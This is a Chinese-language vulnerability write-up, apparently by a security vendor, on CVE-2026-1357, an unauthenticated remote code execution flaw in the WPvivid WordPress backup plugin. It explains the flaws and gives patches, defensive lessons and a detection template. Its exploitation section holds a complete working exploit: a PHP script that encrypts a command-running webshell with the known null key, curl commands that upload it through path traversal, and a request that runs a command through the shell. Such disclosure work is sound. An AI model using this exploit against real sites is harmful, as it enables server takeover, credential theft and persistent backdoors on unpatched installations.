CVE-2026-1357:WPvivid 备份插件中的未授权 RCE
对 CVE-2026-1357 的技术剖析——这是 WPvivid Backup & Migration 插件(≤ 0.9.123)中一个 CVSS 9.8 严重级别的未授权远程代码执行漏洞。两个环环相扣的缺陷——一个密码学 fail-open 和一个未经净化的路径遍历——使得无需任何凭据即可实现任意文件写入和 shell 上传。
CVE-2026-1357
WPvivid 备份插件中的未授权 RCE
2026 年 2 月 17 日 · CVSS 9.8 严重 · WPvivid ≤ 0.9.123
| CVE ID | CVSS | 受影响版本 | 修复版本 |
|---|---|---|---|
| CVE-2026-1357 | 9.8 严重 | ≤ 0.9.123 | 0.9.124+ |
1. 坠入兔子洞:WPvivid Backup and Migration 插件漏洞概览
WPvivid Backup & Migration 是那种在 WordPress 上随处可见的插件之一,拥有超过 300,000 次活跃安装、口碑良好,负责备份、迁移和暂存环境。都是些常规功能。真正让它引人关注的是一个功能:Remote Backup Transfer,它让各个站点之间能够相互传输加密的备份数据。
加密这个词在这里承载了很多分量。当 CVE-2026-1357 以 9.8 的严重评级披露时,正是这个功能成了入口点。本文是对该漏洞工作原理的技术剖析。
2. 名不副实的加密:剖析 CVE-2026-1357 中的 WPvivid RSA Fail-Open
第一个缺陷位于 includes/class-wpvivid-crypt.php 中的 decrypt_message() 函数内。该插件使用 RSA + AES 的混合方案:RSA 密钥解密一个对称密钥,再由该密钥解密载荷。
但它并不安全。下面是存在漏洞的代码:
// class-wpvivid-crypt.php (v0.9.123)
public function decrypt_message($message) {
$rsa = new Crypt_RSA();
$rsa->loadKey($this->public_key);
$key = $rsa->decrypt($key); // Returns FALSE on invalid key
$rij = new Crypt_Rijndael();
$rij->setKey($key); // BUG: no check, sets FALSE as key
return $rij->decrypt($data); // Decrypts with null-byte key
}
当 RSA 解密失败时,$rsa->decrypt() 返回 FALSE。而这个返回值从未被检查,它被直接传入了 setKey()。
该插件使用的是 phpseclib v1。在该版本中,setKey(FALSE) 会把该值当作空字符串处理,随后被填充为一个 16 字节的全空(null)密钥:\x00\x00\x00...\x00。这个密钥是固定的、已知的,并且在每一次安装中都完全相同。任何攻击者只要用这个空密钥预先加密自己的载荷,就能让插件成功解密,从而彻底绕过了身份验证。
密码学 fail-open(CWE-755): 对解密结果缺少校验,导致该函数不是中止执行,而是回退到一个已知的空密钥。攻击者提供一个无效的 RSA 密钥来触发失败,然后提交一个已用空密钥加密好的载荷。
3. 故意迷路:WPvivid Send to Site 功能中的路径遍历
第二个缺陷位于 includes/customclass/class-wpvivid-send-to-site.php 中。在(现已被绕过的)解密步骤之后,插件从 JSON 载荷中读取一个文件名,并用它构造文件路径:
// class-wpvivid-send-to-site.php (v0.9.123)
public function send_to_site() {
$params = json_decode($data, 1);
$dir = WPvivid_Setting::get_backupdir();
// No sanitization of $params['name']
$file_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR
. str_replace('wpvivid', 'wpvivid_temp', $params['name']);
fwrite($handle, base64_decode($params['data']));
}
没有 basename(),没有扩展名检查。来自 $params['name'] 的值被直接放入路径。把它设置为 "../uploads/shell.php" 会解析到 /wp-content/uploads/shell.php——一个可被公开访问、可执行 PHP 的目录。
路径遍历(CWE-22): 用户提供的文件名未经净化就到达了文件系统。与缺陷 #1 结合,一个未授权的请求就能将任意文件内容写入 Web 根目录可及范围内的任意位置。
4. 串联起来:利用 CVE-2026-1357 实现远程代码执行
漏洞利用分两步进行:生成载荷,发送请求。
第 1 步:载荷生成
该漏洞利用代码复现了 phpseclib v1 的空密钥行为。PHP webshell 使用 \x00×16 进行 AES 加密,封装进带有遍历文件名的 JSON 中,并在前面加上一个无效的 RSA 密钥以触发 fail-open:
<?php // exploit.php
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');
$rijndael = new Crypt_Rijndael();
$rijndael->setBlockLength(128);
$rijndael->setKey(str_repeat("\0", 16)); // 16-byte null key
$shell = '<?php system($_GET["cmd"]); ?>';
$payload = [
'name' => '../uploads/pwn_shell.php', // path traversal
'data' => base64_encode($shell),
'offset' => 0, 'index' => 0, 'type' => 'backup', 'status' => 'running'
];
$enc = $rijndael->encrypt(json_encode($payload));
$fake_rsa = 'ABC'; // any garbage triggers the fail-open
$packet = str_pad(dechex(strlen($fake_rsa)), 3, '0', STR_PAD_LEFT)
. $fake_rsa
. str_pad(dechex(strlen($enc)), 16, '0', STR_PAD_LEFT)
. $enc;
echo base64_encode($packet);
第 2 步:发送请求
载荷通过一个普通的 POST 请求发送到 WordPress 根端点。无需凭据、无需会话,也无需任何前置准备:
PAYLOAD=$(php exploit.php)
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")
curl -i -s -X POST "http://209.38.255.159:8090/" \
-d "wpvivid_action=send_to_site" \
-d "wpvivid_content=$ENCODED"
响应:
HTTP/1.1 200 OK
Date: Tue, 17 Feb 2026 10:38:21 GMT
Server: Apache/2.4.66 (Debian)
X-Powered-By: PHP/8.3.30
Content-Length: 36
{"result":"success","op":"finished"}
shell 已落盘。调用它:
curl "http://209.38.255.159:8090/wp-content/uploads/pwn_shell.php?cmd=whoami"
www-data
5. 概念验证:WPvivid RCE 漏洞利用全过程与影响分析
目标运行的是 WPvivid v0.9.123,0.9.124 更新已可用但尚未应用。

漏洞利用之后,上传的 webshell 会以 Web 服务器进程的身份响应任意命令。

影响: 拥有
www-data访问权限后,攻击者可以读取wp-config.php以获取数据库凭据、窃取站点的全部数据、安装持久化后门,或根据服务器配置进一步横向移动。从这一步开始,完全攻陷整个 WordPress 安装已轻而易举。
6. 修复方案:为 WPvivid 插件安全缺陷 CVE-2026-1357 打补丁
0.9.124 版本独立地修复了这两个缺陷。任一修复单独生效都足以打断漏洞利用链。
修复 1:校验解密结果
在 $rsa->decrypt() 之后增加一处检查,就能把 fail-open 变为 fail-closed。如果解密返回 false 或空密钥,函数即中止:
// class-wpvivid-crypt.php (v0.9.124)
$key = $rsa->decrypt($key);
if ($key === false || empty($key)) {
return false; // fail-closed
}
$rij->setKey($key);
return $rij->decrypt($data);
修复 2:净化文件名并强制执行扩展名白名单
basename() 会剥除目录遍历序列。一个正则表达式限制了允许的字符。一份明确的扩展名白名单则阻止任何可执行文件:
// class-wpvivid-send-to-site.php (v0.9.124)
$safe_name = basename($params['name']);
$safe_name = preg_replace('/[^a-zA-Z0-9._-]/', '', $safe_name);
$allowed = ['zip', 'gz', 'tar', 'sql'];
$ext = strtolower(pathinfo($safe_name, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed, true)) {
$ret['error'] = 'Invalid file type.';
echo wp_json_encode($ret);
die();
}
7. 使用 Ostorlab KEV 检测 CVE-2026-1357
CVE-2026-1357 现已纳入 Ostorlab 的已知被利用漏洞(Known Exploited Vulnerabilities,KEV)检测套件。该套件在开放端口和暴露的服务上运行自动化扫描,以大规模识别已知被利用的漏洞,将 Nmap、Tsunami、Asteroid、Nuclei 和 Metasploit 等工具整合在单个 agent group 之下。
Nuclei 模板
针对该 CVE 编写了一个经过验证的 Nuclei 模板,并添加到了 KEV 仓库中。它由 omarkurt 和 Lucas Montes(NiRoX,该漏洞的最初发现者)共同撰写。该模板对目标运行三个请求:
- 一个对插件
readme.txt的 GET 请求,用于确认 WPvivid 已安装并提取版本号。 - 一个对根端点的 POST 请求,携带预先构建的漏洞利用载荷,触发 fail-open 并通过路径遍历写入一个 shell。
- 一个对上传的 shell 的 GET 请求,用于确认执行成功。检测要求三者全部匹配:插件存在、上传成功、shell 响应。
该模板被标记为 verified: true 并标注为侵入式(intrusive)——它会主动利用目标以确认漏洞,而不仅仅是进行指纹识别。它被收录在 KEV agent group 中,与另外 200 多个覆盖 CISA 及更广泛威胁情报社区所追踪的严重 CVE 的模板并列。
完整模板可在 Ostorlab KEV 仓库中获取: github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2026-1357.yaml
要点总结
CVE-2026-1357 是一个直观的例子,说明两个各自可控的 bug 如何串联成一个严重级别的评级。密码学 fail-open 消除了身份验证;路径遍历则给予了对 Web 根目录的任意写入权限。这两个缺陷都算不上奇特。
防御方面的教训同样朴素明了:
- 在把密码学返回值用作密钥之前,务必对其进行校验。
- 切勿将用户提供的输入直接用于文件系统路径。
basename()和扩展名白名单是处理文件上传的标准做法。- 纵深防御:对两个层面都打补丁,使任何单一绕过都不足以得逞。